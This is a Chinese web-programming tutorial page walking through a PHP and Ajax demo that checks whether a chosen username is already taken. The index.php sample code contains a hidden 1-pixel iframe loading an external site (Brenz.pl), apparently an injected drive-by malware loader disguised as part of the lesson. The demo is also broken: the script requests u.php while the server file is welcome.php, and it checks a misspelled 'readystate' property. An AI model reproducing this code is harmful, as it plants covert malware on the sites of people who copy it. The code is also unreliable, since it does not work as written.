程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> PHP綜合 >> PHP與Ajax相結合實現登錄驗證小Demo

PHP與Ajax相結合實現登錄驗證小Demo

編輯:PHP綜合

 AJAX即“Asynchronous Javascript And XML”(異步JavaScript和XML),是指一種創建交互式網頁應用的網頁開發技術。

AJAX = Asynchronous JavaScript and XML(異步的 JavaScript 和 XML)。
AJAX 不是新的編程語言,而是一種使用現有標准的新方法。
AJAX 是與服務器交換數據並更新部分網頁的藝術,在不重新加載整個頁面的情況下。

設計一個用戶注冊頁面,當用戶輸入注冊名的時候,檢測用戶名是否已存在,如果存在,給予提示

我們先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始對象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id為userId的值 
url="u.php?userId="+userId;//路徑 
if(xmlHttpReq!=null){//若對象實例化創建成功 
xmlHttpReq.open("GET",url,true);//open()打開請求 
xmlHttpReq.onreadystatechange=RequestCallBack;//設置回調函數RequestCallBack() 
xmlHttpReq.send(null);//請求不包括正文 
} 
function RequestCallBack(){//回調函數 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//請求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//將得到的信息賦給id屬性為get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注冊 
</font><br> 
<form> 
用戶名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="檢測"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html> 

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理員"){ 
echo "用戶名已存在!"; 
}else{ 
echo "該用戶名可以注冊"; 
} 
?> 

關於PHP與Ajax相結合實現登錄驗證小Demo的相關知識就給大家介紹到這裡,希望對大家有所幫助!

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved